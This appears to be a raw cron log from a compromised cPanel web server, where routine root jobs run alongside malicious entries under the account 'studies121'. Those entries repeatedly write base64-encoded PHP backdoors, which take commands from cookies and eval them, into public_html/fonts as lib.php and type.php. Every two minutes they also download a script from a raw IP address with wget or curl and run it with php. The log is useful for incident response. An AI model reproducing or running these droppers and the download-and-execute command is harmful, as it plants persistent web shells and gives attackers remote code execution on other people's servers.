Feb 22 09:50:01 ip-184-168-122-23 CROND[17484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:50:01 ip-184-168-122-23 CROND[17486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:51:01 ip-184-168-122-23 CROND[17821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:51:01 ip-184-168-122-23 CROND[17824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:51:01 ip-184-168-122-23 CROND[17822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:51:01 ip-184-168-122-23 CROND[17828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:52:01 ip-184-168-122-23 CROND[18143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:52:01 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:52:01 ip-184-168-122-23 CROND[18147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:52:01 ip-184-168-122-23 CROND[18145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:52:01 ip-184-168-122-23 CROND[18148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:53:01 ip-184-168-122-23 CROND[18495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:53:01 ip-184-168-122-23 CROND[18497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:53:01 ip-184-168-122-23 CROND[18498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:53:01 ip-184-168-122-23 CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:54:01 ip-184-168-122-23 CROND[18886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:54:01 ip-184-168-122-23 CROND[18890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:54:01 ip-184-168-122-23 CROND[18891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:54:01 ip-184-168-122-23 CROND[18894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:54:01 ip-184-168-122-23 CROND[18892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:55:01 ip-184-168-122-23 CROND[19206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:55:01 ip-184-168-122-23 CROND[19209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:55:01 ip-184-168-122-23 CROND[19215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:55:01 ip-184-168-122-23 CROND[19213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:55:01 ip-184-168-122-23 CROND[19214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:55:01 ip-184-168-122-23 CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:56:01 ip-184-168-122-23 CROND[19537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:56:01 ip-184-168-122-23 CROND[19538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:56:01 ip-184-168-122-23 CROND[19539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:56:01 ip-184-168-122-23 CROND[19541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:56:01 ip-184-168-122-23 CROND[19543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:57:01 ip-184-168-122-23 CROND[19843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:57:01 ip-184-168-122-23 CROND[19844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:57:01 ip-184-168-122-23 CROND[19846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:57:01 ip-184-168-122-23 CROND[19848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:58:01 ip-184-168-122-23 CROND[20194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:58:01 ip-184-168-122-23 CROND[20197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:58:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:58:01 ip-184-168-122-23 CROND[20200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:58:01 ip-184-168-122-23 CROND[20198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:59:01 ip-184-168-122-23 CROND[20518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:59:01 ip-184-168-122-23 CROND[20516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:59:01 ip-184-168-122-23 CROND[20519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:59:01 ip-184-168-122-23 CROND[20517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:00:02 ip-184-168-122-23 CROND[20920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:00:02 ip-184-168-122-23 CROND[20922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:00:02 ip-184-168-122-23 CROND[20924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20929]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:00:02 ip-184-168-122-23 CROND[20933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:01:01 ip-184-168-122-23 CROND[21262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:01:01 ip-184-168-122-23 CROND[21261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:01:01 ip-184-168-122-23 CROND[21263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 10:01:01 ip-184-168-122-23 CROND[21264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:01:01 ip-184-168-122-23 CROND[21260]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 10:01:01 ip-184-168-122-23 CROND[21265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21260]: starting 0anacron
Feb 22 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21283]: finished 0anacron
Feb 22 10:02:01 ip-184-168-122-23 CROND[21588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:02:01 ip-184-168-122-23 CROND[21590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:02:01 ip-184-168-122-23 CROND[21591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:02:01 ip-184-168-122-23 CROND[21593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
